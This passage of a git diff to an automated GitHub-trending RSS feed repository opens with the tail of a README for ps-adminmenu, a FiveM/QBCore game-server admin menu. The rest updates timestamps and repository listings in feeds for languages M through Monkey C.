dedicated team is user-friendly and intuitive. We invite you to contribute by submitting new features through PRs. We're always eager to review and consider new features. Make sure you use our template when opening Issues or they will be auto closed.</p> <h2>Unofficial ESX Version</h2> <p>Made by Avilchiis for the community, you can download it <a href="https://github.com/avilchiis/ps-adminmenu">here</a>. <strong>WE DO NOT PROVIDE SUPPORT FOR ESX VERSION, DO NOT ASK YOU'LL BE IGNORED.</strong></p> <h1>Preview</h1> <img src="https://github.com/Project-Sloth/ps-adminmenu/assets/82112471/0da6cf4d-fc72-497f-a59c-08011b3785ab" width="300"> <img src="https://github.com/Project-Sloth/ps-adminmenu/assets/82112471/2d366445-4094-4a10-a570-265cb230fc37" width="300"> <img src="https://github.com/Project-Sloth/ps-adminmenu/assets/82112471/33382d64-3b95-42aa-9659-d92dbdca94d2" width="600"> <img src="https://github.com/Project-Sloth/ps-adminmenu/assets/82112471/d63982c6-9b04-4dec-b059-55e1cc5ea608" width="600"> <img src="https://github.com/Project-Sloth/ps-adminmenu/assets/82112471/ab44df15-7d9e-4753-9c71-2492348a229d" width="600"> <img src="https://github.com/Project-Sloth/ps-adminmenu/assets/82112471/0fb81425-dd45-4354-8fb7-94e62ac954ae" width="600"> <img src="https://github.com/Project-Sloth/ps-adminmenu/assets/82112471/6f1d0ea9-ea55-4088-98de-ceb4fb1c3838" width="600"> <h1>Change Language.</h1> <ul> <li>Place this <code>setr ox:locale en</code> inside your <code>server.cfg</code></li> <li>Change the <code>en</code> to your desired language!</li> </ul> <p><strong>Supported Languages:</strong></p> <table> <thead> <tr> <th><strong>Alias</strong></th> <th><strong>Language Names</strong></th> </tr> </thead> <tbody> <tr> <td>en</td> <td>English</td> </tr> <tr> <td>fr</td> <td>French</td> </tr> <tr> <td>id</td> <td>Indonesia</td> </tr> <tr> <td>pt-br</td> <td>Brazilian Portuguese</td> </tr> <tr> <td>tr</td> <td>Turkish</td> </tr> <tr> <td>es</td> <td>Spanish</td> </tr> <tr> <td>nl</td> <td>Dutch</td> </tr> </tbody> </table> <h1>Features</h1> <ul> <li>Admin Car</li> <li>Ban Player</li> <li>Bring Player</li> <li>Change Plate</li> <li>Checking number plates before <code>Change Plate</code></li> <li>Change Time</li> <li>Change Weather</li> <li>Check Permissions</li> <li>Clear Inventory</li> <li>Clear Inventory Offline</li> <li>Clothing Menu</li> <li>Copy Coordinates</li> <li>Delete Vehicle</li> <li>Delete Laser</li> <li>Explode Player</li> <li>Fix Vehicle</li> <li>Freeze Player</li> <li>Give Clothing Menu</li> <li>Give Item</li> <li>Give Item to All</li> <li>Give Money</li> <li>Give Money to All</li> <li>Give Vehicle to Player</li> <li>Give NUI Focus</li> <li>God Mode</li> <li>Invisible</li> <li>Infinite Ammo</li> <li>Kick Player</li> <li>Kill Player</li> <li>Make Player Drunk</li> <li>Message Player</li> <li>Mute Player</li> <li>Max Vehicle Mods</li> <li>No Clip</li> <li>Open Inventory</li> <li>Open Stash</li> <li>Open Trunk</li> <li>Play Sound</li> <li>Refuel Vehicle</li> <li>Remove Money</li> <li>Remove Stress</li> <li>Revive All</li> <li>Revive Player</li> <li>Revive Radius</li> <li>Set Bucket</li> <li>Server Announcement</li> <li>Set Ammo</li> <li>Set Vehicle State in Garage (In &amp; Out)</li> <li>Set Gang</li> <li>Set Job</li> <li>Set on Fire</li> <li>Set Permissions</li> <li>Set Player Ped</li> <li>Sit in Vehicle</li> <li>Spawn Vehicle</li> <li>Spectate Player</li> <li>Teleport Back</li> <li>Teleport to Coordinates</li> <li>Teleport to Marker</li> <li>Teleport to player</li> <li>Toggle Blackout</li> <li>Toggle Blips</li> <li>Toggle Coords</li> <li>Toggle Cuffs</li> <li>Toggle Delete Laser</li> <li>Toggle Duty</li> <li>Toggle Names</li> <li>Vehicle Dev Menu</li> <li>Warn player</li> </ul> <h1>Depedency</h1> <ol> <li><a href="https://github.com/qbcore-framework/qb-core">qb-core</a></li> <li><a href="https://github.com/overextended/ox_lib">ox_lib</a></li> </ol> <h1>Installation</h1> <ol> <li>Download the latest release.</li> <li>Add the files to your server resources.</li> <li>Ensure <code>ps-adminmenu</code> in your server cfg. Make sure ox_lib starts before ps-adminmenu.</li> <li>Set the config in <code>shared/config.lua</code> to your needs.</li> </ol> <p>A community video has been made for setup instructions and showcase, you can find it <a href="https://www.youtube.com/watch?v=aez5RIi8db8&amp;ab_channel=Kamaryn">here</a></p> <h2>Permissions</h2> <p>Make sure you've correctly configured player permissions in your server.cfg by using ACE permissions with the appropriate identifier. Otherwise, you'll be unable to access or launch the admin menu. Here's a sample configuration where the player, MonkeyWhisper, is assigned god, admin, and mod roles, you should not have all 3 permissions for a single person. For a deeper understanding of how QBCore manages permissions, refer to <a href="https://docs.qbcore.org/qbcore-documentation/guides/setting-permissions">this documentation.</a></p> <h3>Player Permission</h3> <pre><code>add_principal identifier.fivem:565139 qbcore.god # MonkeyWhisper add_principal identifier.fivem:565139 qbcore.admin # MonkeyWhisper add_principal identifier.fivem:565139 qbcore.mod # MonkeyWhisper </code></pre> <h2>Setting Up Logs</h2> <ol> <li>Set up a Discord Webhook for the channel you want the logs to be.</li> <li>Add this to <code>qb-smallresource/server/logs.lua</code> - <code>['ps-adminmenu'] = 'discord webhook'</code></li> <li>Replace the place holder with your webhook link.</li> </ol> <h1>To Do</h1> <ul> <li>Rework the blips/names</li> </ul> <h1>Credits</h1> <ul> <li><a href="https://github.com/OK1ez">OK1ez</a></li> <li><a href="https://github.com/Lenzh">Lenzh</a></li> <li><a href="https://github.com/LeSiiN">LeSiiN</a></li> <li>Project Sloth Team</li> </ul> - - \ No newline at end of file diff --git a/m/daily/index.xml b/m/daily/index.xml index edc3d835b2d..55d3806bee6 100644 --- a/m/daily/index.xml +++ b/m/daily/index.xml @@ -1,7 +1,7 @@ GitHub M Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:36:24Z + 2023-10-30T01:31:30Z Daily Trending of M in GitHub \ No newline at end of file diff --git a/m/weekly/index.xml b/m/weekly/index.xml deleted file mode 100644 index 42ee9c5fc07..00000000000 --- a/m/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub M Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:56:44Z - Weekly Trending of M in GitHub - - \ No newline at end of file diff --git a/m4/daily/index.xml b/m4/daily/index.xml index 26f7737b717..d6817f2ec23 100644 --- a/m4/daily/index.xml +++ b/m4/daily/index.xml @@ -1,7 +1,7 @@ GitHub M4 Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:36:25Z + 2023-10-30T01:31:32Z Daily Trending of M4 in GitHub \ No newline at end of file diff --git a/m4/weekly/index.xml b/m4/weekly/index.xml deleted file mode 100644 index 6726a2f8979..00000000000 --- a/m4/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub M4 Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:56:44Z - Weekly Trending of M4 in GitHub - - \ No newline at end of file diff --git a/m4sugar/daily/index.xml b/m4sugar/daily/index.xml index 1fbcb2c3c14..11606f88603 100644 --- a/m4sugar/daily/index.xml +++ b/m4sugar/daily/index.xml @@ -1,7 +1,7 @@ GitHub M4Sugar Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:36:22Z + 2023-10-30T01:31:31Z Daily Trending of M4Sugar in GitHub \ No newline at end of file diff --git a/m4sugar/weekly/index.xml b/m4sugar/weekly/index.xml deleted file mode 100644 index 49a52f42c3f..00000000000 --- a/m4sugar/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub M4Sugar Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:56:43Z - Weekly Trending of M4Sugar in GitHub - - \ No newline at end of file diff --git a/macaulay2/daily/index.xml b/macaulay2/daily/index.xml index 0bc1b10d12f..ed6fcd792e5 100644 --- a/macaulay2/daily/index.xml +++ b/macaulay2/daily/index.xml @@ -1,7 +1,7 @@ GitHub Macaulay2 Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:36:23Z + 2023-10-30T01:31:31Z Daily Trending of Macaulay2 in GitHub \ No newline at end of file diff --git a/macaulay2/weekly/index.xml b/macaulay2/weekly/index.xml deleted file mode 100644 index 8022f2b0765..00000000000 --- a/macaulay2/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Macaulay2 Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:56:45Z - Weekly Trending of Macaulay2 in GitHub - - \ No newline at end of file diff --git a/makefile/daily/index.xml b/makefile/daily/index.xml index 4fb919eb175..eb747cbb3b5 100644 --- a/makefile/daily/index.xml +++ b/makefile/daily/index.xml @@ -1,7 +1,7 @@ GitHub Makefile Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:36:32Z + 2023-10-30T01:31:38Z Daily Trending of Makefile in GitHub \ No newline at end of file diff --git a/makefile/weekly/index.xml b/makefile/weekly/index.xml deleted file mode 100644 index cc33e8c5cc1..00000000000 --- a/makefile/weekly/index.xml +++ /dev/null @@ -1,28 +0,0 @@ - - GitHub Makefile Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:56:53Z - Weekly Trending of Makefile in GitHub - - - giellalt/dict-sma-swe - 2023-10-29T01:56:53Z - tag:github.com,2023-10-29:/giellalt/dict-sma-swe - - <p></p><hr> - - - upbound/configuration-caas-ml - 2023-10-29T01:56:53Z - tag:github.com,2023-10-29:/upbound/configuration-caas-ml - - <p></p><hr> - - - upbound/configuration-aws-database - 2023-10-29T01:56:53Z - tag:github.com,2023-10-29:/upbound/configuration-aws-database - - <p>AWS Database Configuration</p><hr> - - \ No newline at end of file diff --git a/mako/daily/index.xml b/mako/daily/index.xml index 457ecc82428..2d40778fcb2 100644 --- a/mako/daily/index.xml +++ b/mako/daily/index.xml @@ -1,7 +1,7 @@ GitHub Mako Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:36:27Z + 2023-10-30T01:31:34Z Daily Trending of Mako in GitHub \ No newline at end of file diff --git a/mako/weekly/index.xml b/mako/weekly/index.xml deleted file mode 100644 index 8d6c936de0d..00000000000 --- a/mako/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Mako Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:56:47Z - Weekly Trending of Mako in GitHub - - \ No newline at end of file diff --git a/markdown/daily/index.xml b/markdown/daily/index.xml index 57ecb7a9ddf..82080e07a33 100644 --- a/markdown/daily/index.xml +++ b/markdown/daily/index.xml @@ -1,7 +1,7 @@ GitHub Markdown Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:36:29Z + 2023-10-30T01:31:36Z Daily Trending of Markdown in GitHub \ No newline at end of file diff --git a/markdown/weekly/index.xml b/markdown/weekly/index.xml deleted file mode 100644 index 7ef102b2ae9..00000000000 --- a/markdown/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Markdown Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:56:50Z - Weekly Trending of Markdown in GitHub - - \ No newline at end of file diff --git a/marko/daily/index.xml b/marko/daily/index.xml index 0ff0155560b..3426d4a8fb0 100644 --- a/marko/daily/index.xml +++ b/marko/daily/index.xml @@ -1,7 +1,7 @@ GitHub Marko Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:36:26Z + 2023-10-30T01:31:33Z Daily Trending of Marko in GitHub \ No newline at end of file diff --git a/marko/weekly/index.xml b/marko/weekly/index.xml deleted file mode 100644 index cdf5f3aaf6f..00000000000 --- a/marko/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Marko Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:56:46Z - Weekly Trending of Marko in GitHub - - \ No newline at end of file diff --git a/mask/daily/index.xml b/mask/daily/index.xml index 5a616f3992e..4664d5f5442 100644 --- a/mask/daily/index.xml +++ b/mask/daily/index.xml @@ -1,7 +1,7 @@ GitHub Mask Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:36:35Z + 2023-10-30T01:31:39Z Daily Trending of Mask in GitHub \ No newline at end of file diff --git a/mask/weekly/index.xml b/mask/weekly/index.xml deleted file mode 100644 index ed4058d0a47..00000000000 --- a/mask/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Mask Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:56:54Z - Weekly Trending of Mask in GitHub - - \ No newline at end of file diff --git a/mathematica/daily/index.xml b/mathematica/daily/index.xml index bcaa43304be..14f7f0d8921 100644 --- a/mathematica/daily/index.xml +++ b/mathematica/daily/index.xml @@ -1,7 +1,7 @@ GitHub Mathematica Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:36:36Z + 2023-10-30T01:31:41Z Daily Trending of Mathematica in GitHub \ No newline at end of file diff --git a/mathematica/weekly/index.xml b/mathematica/weekly/index.xml deleted file mode 100644 index 08d5e654d70..00000000000 --- a/mathematica/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Mathematica Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:56:55Z - Weekly Trending of Mathematica in GitHub - - \ No newline at end of file diff --git a/matlab/daily/index.xml b/matlab/daily/index.xml index dc20a01434b..13c05b0b4f9 100644 --- a/matlab/daily/index.xml +++ b/matlab/daily/index.xml @@ -1,7 +1,14 @@ GitHub MATLAB Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:36:34Z + 2023-10-30T01:31:42Z Daily Trending of MATLAB in GitHub + + amgordon/OldNewContinuousConf + 2023-10-30T01:31:42Z + tag:github.com,2023-10-30:/amgordon/OldNewContinuousConf + + <p>A continuous confidence old new experiment</p><hr> + \ No newline at end of file diff --git a/matlab/weekly/index.xml b/matlab/weekly/index.xml deleted file mode 100644 index 858b224e038..00000000000 --- a/matlab/weekly/index.xml +++ /dev/null @@ -1,28 +0,0 @@ - - GitHub MATLAB Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:56:58Z - Weekly Trending of MATLAB in GitHub - - - brainstorm-tools/brainstorm3 - 2023-10-29T01:56:58Z - tag:github.com,2023-10-29:/brainstorm-tools/brainstorm3 - - <p>Brainstorm software: MEG, EEG, fNIRS, ECoG, sEEG and electrophysiology</p><hr> - - - amgordon/OldNewResponseModality - 2023-10-29T01:56:58Z - tag:github.com,2023-10-29:/amgordon/OldNewResponseModality - - <p>Present a recognition memory task with saccadic and manual responses via Matlab Psychtoolbox</p><hr> - - - vonsylvia/MATLAB_Algorithm_with_cases - 2023-10-29T01:56:58Z - tag:github.com,2023-10-29:/vonsylvia/MATLAB_Algorithm_with_cases - - <p>遗传算法、免疫算法、退火算法、粒子群算法、鱼群算法、蚁群算法和神经网络算法等常用智能算法的MATLAB实现</p><hr> - - \ No newline at end of file diff --git a/maven-pom/daily/index.xml b/maven-pom/daily/index.xml index 3b3e342cb8d..e98fb028454 100644 --- a/maven-pom/daily/index.xml +++ b/maven-pom/daily/index.xml @@ -1,7 +1,7 @@ GitHub Maven POM Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:36:33Z + 2023-10-30T01:31:40Z Daily Trending of Maven POM in GitHub \ No newline at end of file diff --git a/maven-pom/weekly/index.xml b/maven-pom/weekly/index.xml deleted file mode 100644 index fc38641f4d8..00000000000 --- a/maven-pom/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Maven POM Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:56:56Z - Weekly Trending of Maven POM in GitHub - - \ No newline at end of file diff --git a/max/daily/index.xml b/max/daily/index.xml index 5fbe30d41f0..2b68a24b5cc 100644 --- a/max/daily/index.xml +++ b/max/daily/index.xml @@ -1,7 +1,7 @@ GitHub Max Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:36:37Z + 2023-10-30T01:31:43Z Daily Trending of Max in GitHub \ No newline at end of file diff --git a/max/weekly/index.xml b/max/weekly/index.xml deleted file mode 100644 index 731ec6667bb..00000000000 --- a/max/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Max Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:57:01Z - Weekly Trending of Max in GitHub - - \ No newline at end of file diff --git a/maxscript/daily/index.xml b/maxscript/daily/index.xml index 2647a55c38b..ccec358140c 100644 --- a/maxscript/daily/index.xml +++ b/maxscript/daily/index.xml @@ -1,7 +1,7 @@ GitHub MAXScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:36:39Z + 2023-10-30T01:31:45Z Daily Trending of MAXScript in GitHub \ No newline at end of file diff --git a/maxscript/weekly/index.xml b/maxscript/weekly/index.xml deleted file mode 100644 index 1c4a6e75b20..00000000000 --- a/maxscript/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub MAXScript Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:56:59Z - Weekly Trending of MAXScript in GitHub - - \ No newline at end of file diff --git a/mcfunction/daily/index.xml b/mcfunction/daily/index.xml index 3877c1d3043..160e0003ee2 100644 --- a/mcfunction/daily/index.xml +++ b/mcfunction/daily/index.xml @@ -1,7 +1,7 @@ GitHub mcfunction Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:36:38Z + 2023-10-30T01:31:44Z Daily Trending of mcfunction in GitHub \ No newline at end of file diff --git a/mcfunction/weekly/index.xml b/mcfunction/weekly/index.xml deleted file mode 100644 index a54c93d371f..00000000000 --- a/mcfunction/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub mcfunction Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:57:00Z - Weekly Trending of mcfunction in GitHub - - \ No newline at end of file diff --git a/mercury/daily/index.xml b/mercury/daily/index.xml index 80bca3c688b..7e3137cefdc 100644 --- a/mercury/daily/index.xml +++ b/mercury/daily/index.xml @@ -1,7 +1,7 @@ GitHub Mercury Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:36:46Z + 2023-10-30T01:31:49Z Daily Trending of Mercury in GitHub \ No newline at end of file diff --git a/mercury/weekly/index.xml b/mercury/weekly/index.xml deleted file mode 100644 index 50d6aac0ce6..00000000000 --- a/mercury/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Mercury Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:57:05Z - Weekly Trending of Mercury in GitHub - - \ No newline at end of file diff --git a/meson/daily/index.xml b/meson/daily/index.xml index 776ad6c182b..db3824a48e0 100644 --- a/meson/daily/index.xml +++ b/meson/daily/index.xml @@ -1,7 +1,7 @@ GitHub Meson Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:36:44Z + 2023-10-30T01:31:48Z Daily Trending of Meson in GitHub \ No newline at end of file diff --git a/meson/weekly/index.xml b/meson/weekly/index.xml deleted file mode 100644 index ada7e4dc2ce..00000000000 --- a/meson/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Meson Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:57:07Z - Weekly Trending of Meson in GitHub - - \ No newline at end of file diff --git a/metal/daily/index.xml b/metal/daily/index.xml index 0db204e9731..5e54f9a96b9 100644 --- a/metal/daily/index.xml +++ b/metal/daily/index.xml @@ -1,7 +1,7 @@ GitHub Metal Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:36:48Z + 2023-10-30T01:31:51Z Daily Trending of Metal in GitHub \ No newline at end of file diff --git a/metal/weekly/index.xml b/metal/weekly/index.xml deleted file mode 100644 index 7a8a4f5504a..00000000000 --- a/metal/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Metal Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:57:09Z - Weekly Trending of Metal in GitHub - - \ No newline at end of file diff --git a/microsoft-developer-studio-project/daily/index.xml b/microsoft-developer-studio-project/daily/index.xml index 276ac3c4fae..c9f6861a006 100644 --- a/microsoft-developer-studio-project/daily/index.xml +++ b/microsoft-developer-studio-project/daily/index.xml @@ -1,7 +1,7 @@ GitHub Microsoft Developer Studio Project Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:36:49Z + 2023-10-30T01:31:53Z Daily Trending of Microsoft Developer Studio Project in GitHub \ No newline at end of file diff --git a/microsoft-developer-studio-project/weekly/index.xml b/microsoft-developer-studio-project/weekly/index.xml deleted file mode 100644 index 3dc331dd339..00000000000 --- a/microsoft-developer-studio-project/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Microsoft Developer Studio Project Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:57:10Z - Weekly Trending of Microsoft Developer Studio Project in GitHub - - \ No newline at end of file diff --git a/microsoft-visual-studio-solution/daily/index.xml b/microsoft-visual-studio-solution/daily/index.xml index 3e593c7606f..391ff62272d 100644 --- a/microsoft-visual-studio-solution/daily/index.xml +++ b/microsoft-visual-studio-solution/daily/index.xml @@ -1,7 +1,7 @@ GitHub Microsoft Visual Studio Solution Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:36:47Z + 2023-10-30T01:31:53Z Daily Trending of Microsoft Visual Studio Solution in GitHub \ No newline at end of file diff --git a/microsoft-visual-studio-solution/weekly/index.xml b/microsoft-visual-studio-solution/weekly/index.xml deleted file mode 100644 index fb6809f1c4f..00000000000 --- a/microsoft-visual-studio-solution/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Microsoft Visual Studio Solution Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:57:08Z - Weekly Trending of Microsoft Visual Studio Solution in GitHub - - \ No newline at end of file diff --git a/minid/daily/index.xml b/minid/daily/index.xml index 16b26e4fbc1..9909deb5bf1 100644 --- a/minid/daily/index.xml +++ b/minid/daily/index.xml @@ -1,7 +1,7 @@ GitHub MiniD Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:36:50Z + 2023-10-30T01:31:52Z Daily Trending of MiniD in GitHub \ No newline at end of file diff --git a/minid/weekly/index.xml b/minid/weekly/index.xml deleted file mode 100644 index ad52d4262cb..00000000000 --- a/minid/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub MiniD Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:57:11Z - Weekly Trending of MiniD in GitHub - - \ No newline at end of file diff --git a/mint/daily/index.xml b/mint/daily/index.xml index d4a9efe55e3..6163d445c86 100644 --- a/mint/daily/index.xml +++ b/mint/daily/index.xml @@ -1,7 +1,7 @@ GitHub Mint Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:36:54Z + 2023-10-30T01:31:56Z Daily Trending of Mint in GitHub \ No newline at end of file diff --git a/mint/weekly/index.xml b/mint/weekly/index.xml deleted file mode 100644 index 54fd1c867e1..00000000000 --- a/mint/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Mint Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:57:14Z - Weekly Trending of Mint in GitHub - - \ No newline at end of file diff --git a/mirah/daily/index.xml b/mirah/daily/index.xml index fc019146197..b58ba0fcf08 100644 --- a/mirah/daily/index.xml +++ b/mirah/daily/index.xml @@ -1,7 +1,7 @@ GitHub Mirah Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:36:52Z + 2023-10-30T01:31:56Z Daily Trending of Mirah in GitHub \ No newline at end of file diff --git a/mirah/weekly/index.xml b/mirah/weekly/index.xml deleted file mode 100644 index 9374f5d9240..00000000000 --- a/mirah/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Mirah Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:57:13Z - Weekly Trending of Mirah in GitHub - - \ No newline at end of file diff --git a/mirc-script/daily/index.xml b/mirc-script/daily/index.xml index 576a7b41103..4a803d93505 100644 --- a/mirc-script/daily/index.xml +++ b/mirc-script/daily/index.xml @@ -1,7 +1,7 @@ GitHub mIRC Script Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:36:53Z + 2023-10-30T01:31:54Z Daily Trending of mIRC Script in GitHub \ No newline at end of file diff --git a/mirc-script/weekly/index.xml b/mirc-script/weekly/index.xml deleted file mode 100644 index aae9a0a7764..00000000000 --- a/mirc-script/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub mIRC Script Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:57:15Z - Weekly Trending of mIRC Script in GitHub - - \ No newline at end of file diff --git a/mlir/daily/index.xml b/mlir/daily/index.xml index 6dfce3ec545..eda787bc7ef 100644 --- a/mlir/daily/index.xml +++ b/mlir/daily/index.xml @@ -1,7 +1,7 @@ GitHub MLIR Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:36:56Z + 2023-10-30T01:32:01Z Daily Trending of MLIR in GitHub \ No newline at end of file diff --git a/mlir/weekly/index.xml b/mlir/weekly/index.xml deleted file mode 100644 index 2a4d1f24c93..00000000000 --- a/mlir/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub MLIR Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:57:16Z - Weekly Trending of MLIR in GitHub - - \ No newline at end of file diff --git a/modelica/daily/index.xml b/modelica/daily/index.xml index d3eb42c5363..a8a1c94333e 100644 --- a/modelica/daily/index.xml +++ b/modelica/daily/index.xml @@ -1,7 +1,7 @@ GitHub Modelica Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:36:55Z + 2023-10-30T01:31:58Z Daily Trending of Modelica in GitHub \ No newline at end of file diff --git a/modelica/weekly/index.xml b/modelica/weekly/index.xml deleted file mode 100644 index 822851b0f05..00000000000 --- a/modelica/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Modelica Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:57:17Z - Weekly Trending of Modelica in GitHub - - \ No newline at end of file diff --git a/modula-2/daily/index.xml b/modula-2/daily/index.xml index 2e97a921dfa..03959b57c13 100644 --- a/modula-2/daily/index.xml +++ b/modula-2/daily/index.xml @@ -1,7 +1,7 @@ GitHub Modula-2 Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:36:58Z + 2023-10-30T01:31:58Z Daily Trending of Modula-2 in GitHub \ No newline at end of file diff --git a/modula-2/weekly/index.xml b/modula-2/weekly/index.xml deleted file mode 100644 index 0f91d2fc374..00000000000 --- a/modula-2/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Modula-2 Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:57:18Z - Weekly Trending of Modula-2 in GitHub - - \ No newline at end of file diff --git a/modula-3/daily/index.xml b/modula-3/daily/index.xml index b50f3e8ca9b..3e7f5d7639c 100644 --- a/modula-3/daily/index.xml +++ b/modula-3/daily/index.xml @@ -1,7 +1,7 @@ GitHub Modula-3 Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:36:57Z + 2023-10-30T01:31:59Z Daily Trending of Modula-3 in GitHub \ No newline at end of file diff --git a/modula-3/weekly/index.xml b/modula-3/weekly/index.xml deleted file mode 100644 index 1229952177f..00000000000 --- a/modula-3/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Modula-3 Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:57:18Z - Weekly Trending of Modula-3 in GitHub - - \ No newline at end of file diff --git a/module-management-system/daily/index.xml b/module-management-system/daily/index.xml index 496e632466d..39cf094cc8b 100644 --- a/module-management-system/daily/index.xml +++ b/module-management-system/daily/index.xml @@ -1,7 +1,7 @@ GitHub Module Management System Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:37:00Z + 2023-10-30T01:32:04Z Daily Trending of Module Management System in GitHub \ No newline at end of file diff --git a/module-management-system/weekly/index.xml b/module-management-system/weekly/index.xml deleted file mode 100644 index 68775627708..00000000000 --- a/module-management-system/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Module Management System Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:57:20Z - Weekly Trending of Module Management System in GitHub - - \ No newline at end of file diff --git a/monkey-c/daily/index.xml b/monkey-c/daily/index.xml index f09be598c42..be5a6e545c3 100644 --- a/monkey-c/daily/index.xml +++ b/monkey-c/daily/index.xml @@ -1,7 +1,7 @@ GitHub Monkey C Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:37:01Z + 2023-10-30T01:32:03Z Daily Trending of Monkey C in GitHub \ No newline at end of file diff --git a/monkey-c/weekly/index.xml b/monkey-c/weekly/index.xml deleted file mode 100644 index 25ed90dba9a..00000000000 --- a/monkey-c/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Monkey C Weekly Trending - 